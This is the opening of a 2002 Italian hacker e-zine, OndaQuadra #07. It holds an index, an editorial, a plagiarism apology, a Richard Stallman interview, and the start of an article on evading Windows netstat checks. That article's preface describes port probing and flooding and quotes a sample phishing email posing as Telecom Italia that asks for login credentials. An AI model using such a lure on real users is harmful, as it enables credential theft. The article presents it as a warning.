,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,: ::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, ,., ::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .::::::, :@@@@@@@, .X@@@@@@@@@@:, :::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .::::: @@@ @@@ . @@: , :::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,:::. h@@, . @@M ,,. @@M .:: :::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ ::, i@@r .. i@@; ,. @@@. ,::: ::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:, M@@ . @@M :@@X ,::::: ::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ ,, @@@ @@@ @@@ .::::::: ::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; i@@@&@@@s :@@@i ,:::::::: ::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H ;s; .,;;. .:::::::::: :::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@@G .,::,....,::::::::::: ::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::::::::: :::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .:::::::::::::::::::: ::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::::: :::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .::::::::::::::::: :::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .:::::::::::::::: ::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::: :, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::::::: : @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::: : S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,:::::::::::::: : H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::: : S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. ::::::::::::::: :. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 ::::::::::::::: :, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; ::::::::::::::: :::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ ::::::::::::::: :::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .:::::::::::::: :::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .::::::::::::: :::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,:: :::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,:: :::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,:: ::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,::: :::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,:::::: :::::::::::::::::::::::::::::::,. ... .,,:::::::::: ::::::::::::::::::::::::::::::::::::::,,.. ..,,::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +--------------------------------------------------------------------------+ | ONDAQUADRA #07 - 01/08/2002 | +--------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +--------------------------------------------------------------------------+ | http://www.ondaquadra.org | | mail@ondaquadra.org ~ articoli@ondaquadra.org | +--------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | LEGAL DISCLAIMER | +--------------------------------------------------------------------------+ | | | Nessuna persona dello staff di OndaQuadra si assume responsibilita' | | per l'uso improprio dell'utilizzo dei testi e dei programmi presenti | | nella e-zine, ne' per danni a terzi derivanti da esso. | | OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni | | effettuate con la legge 23 dicembre 1993, n.547 ed in particolare | | agli artt. 615-quater- e 615-quinques-. | | Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come | | avvengono le tecniche di intrusione al fine di far comprendere come | | sia possibile difendersi da esse, rendere piu' sicura la propria box e | | in generale approfondire le proprie conoscenze in campo informatico. | | I programmi allegati sono semplici esempi di programmazione che hanno | | il solo scopo di permettere una migliore comprensione di quanto | | discusso e spiegato nei testi. | | Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, | | n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex | | art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge | | 8 febbraio 1948, n.47. | | | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | +--------------------------------------------------------------------------+ | Diritti e doveri dei cittadini: Rapporti civili | | | | Articolo 21 | | Tutti hanno diritto di manifestare liberamente il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | INDICE | +--------------------------------------------------------------------------+ | [L0GiN] | | 0x01 EDiT0RiALE ................................................[JEYoNE] | | 0x02 ERRATA C0RRiGE ........................................... [JEYoNE] | | 0x03 LETTERA .............................................. [CityHunter] | | 0x04 iNTERViSTA A RiCHARD STALLMAN ......................... [Cornelius] | +--------------------------------------------------------------------------+ | [HACKiNG] | | 0x05 N0_NETSTAT=> BYPASSARE iL NETSTAT CHECK ................. [SNHYPER] | | 0x06 PASSi SiLENZi0Si NELLA NEVE ............................. [SNHYPER] | | 0x07 iRC HiJACKiNG .............................................. [E4zy] | | 0x08 HACK CRYPTOGRAPHiC TUNNELS ................................. [E4zy] | +--------------------------------------------------------------------------+ | [LiNUX] | | 0x09 SHELL SCRiPTiNG: BASH .................................... [Domine] | | 0x0A AWK ...................................................... [Domine] | | 0x0B GUiDA PRATiCA ALL0 XiNETD ................................. [CiLi0] | +--------------------------------------------------------------------------+ | [C0DiNG] | | 0x0C PLUS ..................................................... [Mastro] | | 0x0D C0RS0 Di C [PARTE SESTA] ........................... [AndreaGeddon] | | 0x0E USELESS NETBSD M0DULE 2 ................................. [_beb0s_] | | 0x0F PERL HACKS EXPLAiNED ..................................... [Domine] | +--------------------------------------------------------------------------+ | [MiSC] | | 0x10 AGGiUNGiAM0 iL TAST0 MUSiC ............................... [lesion] | | 0x11 EV0LUZi0NE MUSiC .................................. [JEYoNE_lesion] | +--------------------------------------------------------------------------+ | [LO SCiAMANO] | | 0x12 NU0VE iNF0RMAZi0Ni .................................... [MinDBlinD] | | 0x13 SUi BAR0Ni PRiViLEGiATi E i L0R0 SCUDiERi ............ [il Magnano] | +--------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x14 CALC0LARE L'ENTR0PiA Di UN FiLE IN DELPHi ............... [Ippatsu] | | 0x15 ESTENSi0NE DELL'ALGORiTM0 DI CESARE ......................... [e4m] | | 0x16 CODiCE iNVERSO: CRiTT0GRAFiA DiGiTALE ............................. | | AVANZATA PARTE 4 ........................................... [Zer0] | | 0x17 ASSEMBLY... N0 GRAZiE, N0N FUM0! PARTE 2 .................... [e4m] | +--------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x18 L'0PERA AL NER0 ....................................... [Tritemius] | +--------------------------------------------------------------------------+ | [C0NTATTi] | | 0x19 D0VE TR0VARCi ........................................ [oq ~ staff] | +--------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 ENTROPiA.ZIP ............................................ [Ippatsu] | | 0x02 NOiDSSCAN.ZIP ........................................... [SNHYPER] | | 0x03 SSL.JPG .................................................... [E4zy] | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #07 - 01/08/2002 | | EDiT0RiALE [JEYoNE] 0x01/0x19 | +--------------------------------------------------------------------------+ | Cominciamo con un altro viaggio verso il non-si-sa-dove. | | Il tempo passa, dal primo numero di OndaQuadra sono passati quasi | | due anni e, a quanto pare, il target di lettori e' aumentato, quasi | | tanto quanto il target dei collaboratori. | | L'editoriale, anche se magari non sembra, e' una delle cose piu' | | difficili da scrivere in una rivista, prima di tutto perche' e' quello | | che *apre* il nuovo numero, in secondo luogo perche' non ci sono degli | | argomenti specifici da trattare, quindi non si ha una logica vera e | | propria. | | Ok, ovviamente il lettore non e' costretto a leggere l'editoriale, e | | quindi non ci dovrebbero essere problemi anche se ci si scrivono | | dentro una marea di stron*ate, ma, come si dice, anche l'occhio vuole | | la sua parte, e poi che starei qui a fare io, se non per scriverne uno | | decente? :)) | | In questo numero appare una novita', l'errata corrige, forse perche' | | non abbiamo mai fatto errori, molto piu' probabilmente perche' mai | | nessuno si e' venuto a "lamentare" con noi per degli errori fatti. | | Rimane il fatto che nello scorso numero gli errori ci sono stati, e | | non siamo certo noi a nascondere le testa sotto la sabbia piuttosto | | che affrontare "l'opinione pubblica" :))) | | Oltre all'errata corrige ci sara' anche una lettera di CityHunter, che | | servira' a chiarire un paio di cosuccie venute fuori all'hackit02 con | | i s0ftpj, soprattutto con Raistlin. | | C'e' una cosa da agiungere, per tutti i lettori che aspettavano | | impazientemente ISWT. | | In questo numero non e' presente perche' gli autori hanno avuto | | problemi, ma nel prossimo numero il progetto continuera'. | | ISWT non e' morto! | | Mi sembra inutile dire dell'altro, visto che il numero si presenta | | molto carico di contenuti, quindi chiudo qui l'editoriale, e vi lascio, | | come al solito, alla lettura di questo nuovo pezzo di storia. | | Un saluto, a presto | | | | JEYoNE | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #07 - 01/08/2002 | | ERRATA C0RRiGE [JEYoNE] 0x02/0x19 | +--------------------------------------------------------------------------+ | Nello scorso numero di OndaQuadra sono stati commessi degli errori, | | primo di tutti l'attribuire erroneamente ad Alcatraz2100 la "carica" | | di organizzatore dell'hackmeeting 2001, non e' affatto cosi', c'e' | | stato un malinteso tra l'autore dell'articolo e la redazione. Chiedo | | umilmente scusa a tutti i membri del FreakNet :)) | | -I sorgenti del MOF_SCANNER (allegato 0x05 #06) erano | | corredati da un'articolo, purtroppo nella fretta ce lo siamo fatto | | scappare e non e' stato pubblicato,lo troverete in questo numero. | | Non ci dovrebbe essere nient'altro, se qualuno si accorgesse di | | qualche altro errore su questo numero o sugli scorsi numeri, non esiti | | ad inviare una mail a mail@ondaquadra.org. | | Per eventuali rip invece potete scrivere ad abuse@ondaquadra.org | | Grazie per la collaborazione e buona lettura! | | | | JEYoNE | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #07 - 01/08/2002 | | LETTERA [CityHunter] 0x03/0x19 | +--------------------------------------------------------------------------+ | Ahi,Ahi...urge velocemente una spiegazione! | | Ho saputo che lo staff di OQ si è presa una bella sgridata da parte del | | Softpj a causa di un mio articolo pubblicato su OQ4. L'articolo in | | questione era Spoofing & Hijacking se non erro. | | Il problema dov'è? Il mio articolo è molto simile (sorgente compreso) | | al progetto OnoSendai di FuSyS apparso su BFI numero 4. Il risultato mi | | sembra ovvio...OQ è stata cazziata perchè ha inserito un articolo | | rippato. Inizio col precisare che mi assumo io tutto le responsabilità | | del caso, OQ non può certo controllare tutti gli art che gli arrivano! | | A mia discolpa cosa posso dire? Non nego ASSOLUTAMENTE di aver preso | | spunto dai testi di FuSyS, che ringrazio ancora per i suoi lavori, ma | | non mi pare di averlo mai negato. Mi pare che in tutto il mio articolo | | ci sia scritto che ho preso molto da lui e che gli dovevo molto per | | quello che ho appreso. Credo che anche lui abbia fatto altrettanto con | | i testi di coder@reptile. Se volete potete considerare | | il mio testo come un tributo all'opera di FuSyS. L'ho studiato a fondo | | e quello che ho scritto è ciò che ho imparato. | | Nulla di più, nulla di meno. Il sorgente. Idem con patate. Avrei potuto | | prendere spoofit.h e creare da lì il programma e forse nessuno avrebbe | | detto nulla. Invece ho riseguito pari pari il sorgente di FuSyS anche | | per impararlo meglio io stesso. Mentre scrivevo imparavo. Chiedo scusa | | se ho esagerato nell'emulare FuSyS, non era mia intenzione farlo | | con lo scopo di prendere meriti non miei. Anche se ribadisco di averlo | | detto più volte che prendevo da lui ciò che sapevo. | | Concludo chiedendo nuovamente scusa a tutto il Softpj, a OQ, e a FuSyS | | in particolare. Non credevo davvero di fare qualcosa di male. Sperando | | di poterci mettere una pieta sopra, | | salut | | | | CityHunter | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #07 - 01/08/2002 | | iNTERViSTA A RiCHARD STALLMAN [Cornelius] 0x04/0x19 | +--------------------------------------------------------------------------+ | F3COD&FUN - Una settimana con Richard M. Stallman: | | - Sintesi di un sogno annunciato - | | | | a cura di Cornelius | | | | La prima edizione del meeting "F3COD&FUN" sulle tecnologie Open e | | Free Software si e' tenuto dal 15 al 16 giugno scorso. Vedere | | l'e-zine nr. 6. E come prima edizione, dopo sforzi sovrumani per | | l'organizzazione e la reperibilita' di fondi economici sono rius- | | cito (con l'aiuto di vari hackers) a fare qualcosa di concreta- | | mente bello: "mostrare al pubblico che esistono alternative ai | | monopoli del software che offrono liberta' alla gente". Ma non | | voglio parlare di politica e/o filosofia del Free Software, ma | | piuttosto della settimana in cui ho avuto l'onore di stare in- | | sieme al leggendario hacker Richard M. Stallman, il mitico fonda- | | tore del progetto GNU e della Free Software Foundation. | | | | Sono stato e sono tuttora un grande ammiratore di RMS e ho sempre | | desiderato conoscerlo, ma non avrei mai immaginato di passare ad- | | dirittura una settimana intera con lui ed avere l'occasione unica | | di parlare, scherzare, mangiare e condividere tante esperienze | | culturali. | | | | Nella settimana in cui sono stato con RMS, ho avuto modo di ap- | | prezzare tante qualita' e dettagli dell'originale personalita' di | | RMS, una personalita' tutta spinta verso l'affermazione delle | | liberta'. Ho notato che RMS e' molto preciso e chiaro nello sp- | | iegare i concetti che si nascondono dietro al progetto GNU e | | all'ideologia del Free Software. Oserei dire che RMS si esprime | | con le stesse rigorose regole semantiche e sintattiche di un lin- | | guaggio di alto livello come il C. | | | | | | cornelius | | | | Richard noto spesso che molte persone e spesso anche i programma- | | tori fanno confusione a riguardo dell'Open Source e del Free | | Software, pensando che siano la stessa cosa. | | | | RMS | | | | Si hai ragione. E' proprio cosi'. Questo e' anche colpa dei mass | | media che pubblicizzano i fatti in modo distorto. E' la stessa | | cosa capitata al sistema operativo free GNU/Linux dove moltissime | | persone non comprendono che il nome Linux indica solamente il | | kernel del sistema operativo, mentre tutto quanto c'e' intorno ad | | esso viene dal progetto GNU. Per questo motivo e' importante | | specificare GNU/Linux. La stessa cosa e' successa a riguardo del | | concetto di Open Source che indica semplicemnete una metodologia | | di sviluppo software aperta dove ognuno puo' guardare dentro al | | programma per capire come e' fatto, guardare cioe' i suoi sorgen- | | ti. Nell'Open Source non si parla di liberta', ma solo di un | | metodo per sviluppare software migliore. Nel concetto di Free | | Software invece noi indichiamo una ideologia, una filosofia che | | pone le basi per la difesa e la tutela di tutte le liberta' | | sull'uso del software attraverso la licenza GPL. Il Free Soft- | | ware e' una ideologia politica che pone in primo piano gli aspet- | | ti di liberta' del software e mette in evidenza i pericoli del | | software proprietario, mentre l'Open Source rappresenta solo una | | metodologia di sviluppo software che non si pone per nulla il | | problema delle liberta'. Infatti ci sono in giro molti software | | proprietari che sono Open Source. | | | | cornelius | | | | Al meeting F3COD&FUN abbiamo cercato di far conoscere in qualche | | modo al grande pubblico i concetti filosofici del Free Software, | | ma molti di loro ancora non comprendono cosa significhi realmente | | essere liberi. | | | | RMS | | | | Si e' vero. Molte persone non comprendono quanto sia importante | | la liberta' individuale e intellettuale. Oggi stiamo entrando in | | un tempo nel quale le pseudo-liberta offerte dalle grandi compag- | | nie di software stanno creando una situazione nella quale la lib- | | erta che uno puo avere dipende totalmente dalla quantita' di denaro | | che possiedi. Tu hai ancora la possibilita' di avere la libert to- | | tale, ma quanta tu ne possa realmente avere dipende da quanto tu | | sia ricco. E' uno scenario veramente spaventoso. Sono impegnato a | | dire queste cose alla gente per avvisarle dei pericoli che cor- | | rono. La gente deve stare attenta altrimenti rischia di perdere | | ogni liberta' nell'usare Internet e i loro computer. | | | | cornelius | | | | il tuo punto di vista e' chiaro, ma alcuni programmatori e le | | stesse compagnie di software rimproverano spesso al movimento del | | Free Software che questa ideologia non permette di fare soldi con | | il software. | | | | RMS | | | | Quando si parla di software libero intendiamo porre l'attenzione | | sulla liberta' e non sul prezzo. Noi diciamo sempre che Free non | | significa gratis, ma libero da ogni forma di controllo e re- | | strizione. Quindi questo non vuol dire che stiamo dicendo che | | nessuno deve mai pagare per avere una copia. Diciamo che una vol- | | ta che uno ha una copia del software che preferisce, deve essere | | libero di cambiare quel software, ridistribuirlo, farne versioni | | migliorate e pubblicarle. E questo comprende anche la liberta' | | di vendere quando si ridistribuisce un software free. In realta' | | vendere copie di software libero e' molto importante perche' e' | | un modo per fare soldi e contribuisce nel creare fondi per | | sviluppare nuovo software libero. Ed e' quello che noi facciamo | | alla Free Software Foundation vendendo copie di CD-ROM pieni di | | software libero. Spesso si fraintende il giusto compenso in | | denaro per un software con gli introiti miliardari che le grandi | | compagnie vorrebbero realizzare vendendo software che potrebbe | | costare molto meno. | | | | cornelius | | | | Quindi anche voi alla Free Software Foundation applicate gli | | stessi principi ideologici per il vostro sostentamento economico. | | | | RMS | | | | Si e' proprio cosi'. La Free Software Foundation e' un ente di | | beneficenza ufficialmente riconosciuto negli USA. E' come una | | scuola o un ospedale, ossia la gente puo' farci una donazione e | | poi dedurla dalle tasse. Ma la maniera principale in cui noi rac- | | cogliamo soldi e' vendere copie di software libero, e manuali. | | Il testo del manuale nella versione computerizzata e' disponibile | | sulla rete o sul nostro CD-ROM. Quindi si puo' scaricare il testo | | di un manuale, farne una copia modificato e poi venderla. La Free | | Software Foundation vende copie di cose che chiunque puo' copiare | | e chiunque puo' vendere. E in questo modo guadagnamo abbastanza | | denaro per pagare il personale che lavora alla FSF. Quindi se | | tu conosci persone che vendono copie di software libero dovresti | | spingerli e incoraggiarli perche' piu' soldi guadagnamo per lo | | sviluppo di software, piu' software libero avremo in futuro. | | | | cornelius | | | | ritorniamo alla modalita' di sviluppo del software libero. Molti | | programmatori temono che sviluppando software libero le loro idee | | e i loro sforzi possano in qualche modo essere raccolti (e fatti | | propri) da altri programmatori che potrebbero rivendere in | | modalita' proprietaria arricchendosi in modo disonesto. | | | | RMS | | | | E' proprio per questo motivo che abbiamo sviluppato la licenza | | GPL per il software libero. La licenza GPL tutela gli utenti ed i | | programmatori dalla possibilita' di inserimento di restrizioni | | nelle liberta'. Ogni persona che ottiene una copia del nostro | | software ottiene anche le liberta' di cui ho parlato prima. Il | | modo in cui ci riusciamo e' attraverso una tecnica che si chiama | | copyleft, che e' il contrario di copyright. L'idea del copyleft | | e' che noi diciamo che ognuno ha il permesso di modificare un | | certo programma, ha il permesso di distribuirlo, ha il permesso | | di pubblicarne una versione perfezionata. Ma ogni volta che dis- | | tribuisce quel programma dovra' usare esattamente i termini della | | GPL senza cambiamenti, cosicche' chiunque voglia una copia di | | quel software otterra' anche le stesse liberta'originali. Se noi | | rendessimo il software di dominio pubblico, allora permetteremmo | | alle varie societa'poco scrupolose che fanno software non libero | | di prendere i nostri programmi e farne versioni modificate e di | | distribuirle come software proprietario senza alcuna liberta'. E | | in questo modo ci sarebbero persone che usano il nostro software | | senza alcuna liberta'. E questo significherebbe un fallimento per | | il nostro progetto, perche' il nostro scopo e' dare la liberta' | | alla gente nell'uso e nello sviluppo di software. Quindi con il | | copyleft ci assicuriamo che ognuno abbia la liberta'. La GNU | | General License e' il termine legale specifico per copyleft, | | quello che usiamo per la maggior parte dei programmi. E' impor- | | tante spiegare che il copyleft e' giuridicamente basato sul copy- | | right. E' per questo che possiamo farlo valere. Se qualcuno viola | | il nostro copyleft distribuendo versioni senza il codice sorgente | | o aggiungendovi restrizioni, viola le leggi del copyright con- | | tenute nel nostro copyleft e possiamo fargli causa. Se qualcuno | | o qualche compagnia fa una cosa simile col nostro software, gli | | mandiamo una lettera e la smette. Non vogliono un processo. Sem- | | plicemente la smettono, e cominciano a rispettare le condizioni e | | la gente riavra' le sue liberta'. | | | | cornelius | | | | Molti osservatori di mercato iniziano ad obiettare sulle | | metodologie di assistenza da applicare in azienda, affermando che | | il Free Software non offre delle buone garanzie nei casi di mal- | | funzionamento. | | | | RMS | | | | Il Free Software risolve questo tipo di problema molto meglio | | di quanto avviene nel mondo del software commerciale o propri- | | etario. Nel software proprietario, non si ha nessuna idea di cio' | | che c'e' dentro e non hai nessun modo di scoprirlo. Devi soltanto | | sperare e fidarti che non ci sia nulla di pericoloso in quel pro- | | gramma. E ci potrebbe essere qualcosa di veramente pericoloso. In | | effetti succede spesso. Ci sono compagnie che mettono nel soft- | | ware routine che forniscono informazioni personali su di te. Mi- | | crosoft ha messo routine nei suoi software che la informano di | | tutto quello che un utente ha installato nel proprio computer. | | Questo e' inammissibile. Alcune compagnie potrebbero vendere | | software proprietario che contiene qualcosa di pericoloso e tu | | potresti non saperlo mai. Anche con il software libero qualche | | programmatore potrebbe inserire qualcosa di pericoloso in un pro- | | gramma libero, ma con il software libero e' sempre disponibile | | il suo codice sorgente e qualcun'altro potrebbe leggerlo e dire: | | "Che ci fa qui questo codice? E subito invierebbe su internet la | | notizia. Il software libero ha un grande vantaggio perche' molti | | dei suoi utenti sono programmatori e sono costantemente alla | | ricerca di errori e che sono pronti a risolvere. La Microsoft ad | | esempio non ha questi aiuti. E quindi se c'e' un difetto in un | | programma Microsoft, molto probabilmente passerrano sei mesi o un | | anno prima che lo eliminino. In effetti uno degli aspetti del sis- | | tema informatico che interessa alla gente e' la sua sicurezza. E | | naturalmente ogni sistema operativo ha ogni tanto qualche difetto | | che ne compromette la sicurezza. Ma possiamo dire che nei sistemi | | operativi liberi questi difetti vengono eliminati molto rapida- | | mente. Il difetto viene segnalato e in genere viene mandata una | | patch sulla rete cosicche' chiunque puo' installarsela. Mentre chi | | ha un sistema operativo proprietario di solito deve aspettare mesi | | se non anni. E nel frattempo, se uno e' preoccupato per la si- | | curezza ha un bel problema. Per cui il problema dell'assistenza | | in azienda e' solo un problema del software proprietario. | | | | cornelius | | | | Sembra che attualmente la situazione del controllo del proprio | | computer da parte delle aziende di monopolio stia peggiorando. Si | | parla addirittura di dispositivi di protezione del software in- | | stallatti direttamente nei chip del computer. | | | | RMS | | | | Le compagnie del copyright, stanno portando avanti una lotta per | | cambiare le leggi in tutti i paesi in modo da avere piu' potere | | per controllare quello che fai e quello che fanno tutti. Questa e' | | la loro attivita' principale al posto di fare software migliore. | | Quindi per esempio vogliono rendere illegale il fatto che tu pos- | | sa permettere ad un tuo amico di vedere iltuo computer e magari | | leggere un libro che tu hai sul computer. Anche se il libro l'hai | | avuto legalmente e sta sul tuo computer legalmente, loro | | vogliono rendere illegale il fatto che il tuo amico lo legga. E se | | il tuo amico vuole comunicare in rete e' ancora peggio! Loro | | vogliono dire che, se lui manda il libro attraverso la rete - per | | metterlo semplicemente sul suo schermo in modo da poterlo vedere e | | leggere, anche solo temporaneamente - vogliono rendere questo il- | | legale. Quando tu leggi qualcosa si forma temporaneamente una | | copia sulla retina del tuo occhio, la prossima volta diranno che | | e' una violazione del copyright fare una copia sulla retina e che | | quindi ci vuole un permesso per leggere il libro. In Unione So- | | vietica ogni copista aveva un sorvegliante il cui compito era di | | osservare cosa veniva copiato e assicurarsi che nessuno facesse | | copie illegali, perche' prevenirele copie illegali era una delle | | priorita' del governo sovietico. Ora l'industria del copyright | | vuole fare lo stesso, con la differenza che vogliono farlo con | | sorveglianti computerizzati, sorveglianti robot. Quindi vogliono | | assicurarsi che all'interno del tuo computer sia necessario un- | | software speciale che garantisca che tu non fai copie illegali. E | | sara' illegale eliminare questo robot sorvegliante dal tuo com- | | puter. Quindi cercano di interferire nella tua vita in un modo | | molto piu' diretto e seccante di quanto non abbiano mai fatto pri- | | ma. Aziende come Microsoft vogliono avere tutto il denaro che pos- | | sano desiderare, per questo motivo cercano di cambiare le leggi | | in Italia e in altri paesi. E' un diritto fondamentale dell'uomo | | aiutare il proprio amico. Non e' solo il diritto di fare qualcosa | | che e' giusto per se' stessi, il diritto di avere una sufficiente | | alimentazione, un alloggio dove vivere, la liberta' di parola e | | la liberta' di stampa: questi sono diritti importanti. La liber- | | ta' di condividere l'informazione e' un'altro diritto fondamen- | | tale che tutti dovrebbero avere. Ma non lo otterremo se non lot- | | teremo per questo, perche' i detentori dell'informazioe non | | vogliono che ce l'abbiamo. | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 | | N0_NETSTAT=> BYPASSARE iL NETSTAT CHECK [SNHYPER] 0x05/0x19 | +--------------------------------------------------------------------------+ | aeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaea | | aeaeaea aeaeaea | | !!!!!!! Come ti frego il tipo del netstat !!!!!!! | | !!!!!!! con 70 linee di sano C !!!!!!! | | !!!!!!! ..::SNHYPER::.. !!!!!!! | | aeaeaea snhyper@hotmail.com aeaeaea | | aeaeaeaaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaea | | | | /* disclaimer */ | | | | L'articolo vuole essere un avvertimento per tutti coloro i quali | | vogliono / devono usare il carissimo OS Windoze e con esso tentano | | di promuovere la sicurezza informatica. | | Non vuole essere un incitamento al compiere azioni di | | intrusione o azioni moleste su computer altrui. | | L'autore, non credendo nel *Security trough Obscurity* promulgato | | da diverse compagnie commerciali di diverso livello, parlera' in | | in modo abbastanza chiaro del problema in oggetto,non assumendosi | | non assumendosi nessuna responsabilita' in caso di abuso del tale. | | | | | | | | /* prefazio */ | | | | Ora, non che Windoze, come OS da casa per chattare con | | gli amici o per guardarsi i porno sul web, non sia un OS sicuro... | | almeno, sicuro dai classici script kiddye.. ma non da tutti.. | | | | Noi tutti sappiamo come un sistema che non ha rapporti di fiducia con | | altri host su di una rete, o che ancor peggio non stia neanche su una | | rete e quindi non implementi servizi di accesso e vari che potrebbero | | essere sfruttati per i piu' disparati casi (a seconda della mente | | dell'attacker) , sia molto difficile da attaccare in modo diretto.. | | | | Ovvero, se un attacker trovasse un host di cui un portscan avesse | | evidenziato come aperte le classiche porte 135-139 ( per il bind() | | del tcp/ip - netbios ), il passo seguente che detto attacker si | | presterebbe a compiere sarebbe la classica ricerca di risorse | | condivise, possibilmente senza password ( 75% dei casi ). | | Ma se detto attacker non riscontrasse nessuna risorsa condivisa, | | quindi le porte 135-139 risulterebbero essere solo dovute ad un | | bind() del netbios dimenticato o trascurato...., sarebbe finito | | qui l'attacco diretto. | | | | Oddio.. ci sono molti birbaccioni che dedicano giornate a floodare | | quella porta di syn o icmp spoofati,nukando a tutto spiano (smurfando | | per i birbaccioni piu' smaliziati..) sperando che al *nuovo nemico* | | cada la connessione... | | Dimostrazione, IMHO, di come una tanto sperata ed agoniata risorsa | | condivisa, in questo caso non trovata,possa ferire a tal punto | | l'orgoglio dell' *attacker della domenica* dal trasformarlo nel | | flooder del secolo intento ad aprire piu' sessioni del mitico click | | per bombardare l'ignaro utente windoziano che si chiede come mai | | le foto porno di Wanna Marchi che fa *fist-fucking* con il maestro | | Do Nascimiento siano cosi' lente da scaricare.... | | | | Ma esistono diverse branche di attacker, come sappiamo. | | | | Qualcun'altro provera' metodi di attacco indiretti, che sono i | | piu' efficaci (e i soli possibili) verso host con OS Windoze che | | non montino servizi particolari. | | Ovvero attacchi via Web, via malicious-script, via social | | engeneering etc etc... | | | | E anche qui la *massa* degli attacker della domenica vengono sfoltiti | | in una sorta di selezione naturale darwiniana lasciando ancora una | | volta i piu' smaliziati e/o i piu' furbi. | | | | Ci sono infatti molti personaggi che si improvvisano hacker e, dopo | | aver letto il primo tute sul social-e del primo *attacker della | | domenica* che pero' e' piu' fico perche' ha gia scritto un tute.., ci | | danno dentro di email del tipo: | | | | | | " Caro utente, le scrive il dott. Rossi della Telecom S.p.A. | | Dovendo effettuare lavorazioni sulla rete interna e sui server che le | | garantisco la connessione ad internet, ci apprestiamo a richiederle | | con la presente e-mail criptata in formato 3-DES ABCD (in modo da | | non rendere visibili i dati a nessuno) la sua collaborazione per | | garantire a Voi utenti un servizio migliore. | | Abbiamo bisogno che lei risponda a questa mail con username e | | password della sua connessione ad internet, in modo da permetterci | | di ripristinare le medesime configurazioni del suo account una volta | | terminati i lavori. Risponda a questo indirizzo! Ne vale della | | sua sicurezza! | | | | Dott. Rossi Telecom Italia Via dei Pascoli, 13 ROMA 06/132145123 " | | | 